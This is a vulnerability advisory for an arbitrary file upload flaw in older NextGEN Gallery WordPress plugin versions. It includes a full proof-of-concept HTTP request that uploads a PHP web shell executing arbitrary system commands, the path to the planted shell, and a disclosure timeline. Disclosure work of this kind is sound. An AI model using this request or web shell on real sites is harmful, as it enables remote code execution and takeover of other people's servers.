Description

The NextGEN Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

Versions prior to NextGEN Gallery 2.0.63 are vulnerable.

Impact

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Proof of Concept

POST
/index.php/photocrati_ajax?action=upload_image&gallery_id=0&gallery_name=
HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:28.0) Gecko/20100101
Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[target_ip]/wp-admin/admin.php?page=ngg_addgallery
Content-Length: 630
Content-Type: multipart/form-data;
boundary=---------------------------2427186578189
Cookie:
X-Frame-Events_290365e482ebdeeed313858b8a3de791=%7B%22event%22%3A%22new_gallery%22%2C%22gallery_id%22%3A1%2C%22gallery_title%22%3A%22folder_name%22%2C%22context%22%3A%22attach_to_post%22%7D;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_57cce18206a53fed21932c6dc2920f94=admin%7C1399203127%7C70f668b775581773d1500b1b8162de42;
wp-settings-time-1=1399030444
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

-----------------------------2427186578189
Content-Disposition: form-data; name="name"

cmd.php.jpg
-----------------------------2427186578189
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg

<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
?>
</pre>
</BODY></HTML>

The uploaded shell can be accessible at the URL http://[target-ip]/wp-content/gallery/folder_name/cmd.php

Vulnerability Tracking

  • Reported to vendor : Fri, May 9, 2014 at 9:20 PM
  • Vendor Acknowledgement : Sat, May 10, 2014 at 2:36 AM
  • Vendor Informed about patch release (version 2.65) : Mon, May 19, 2014 at 7:54 PM

References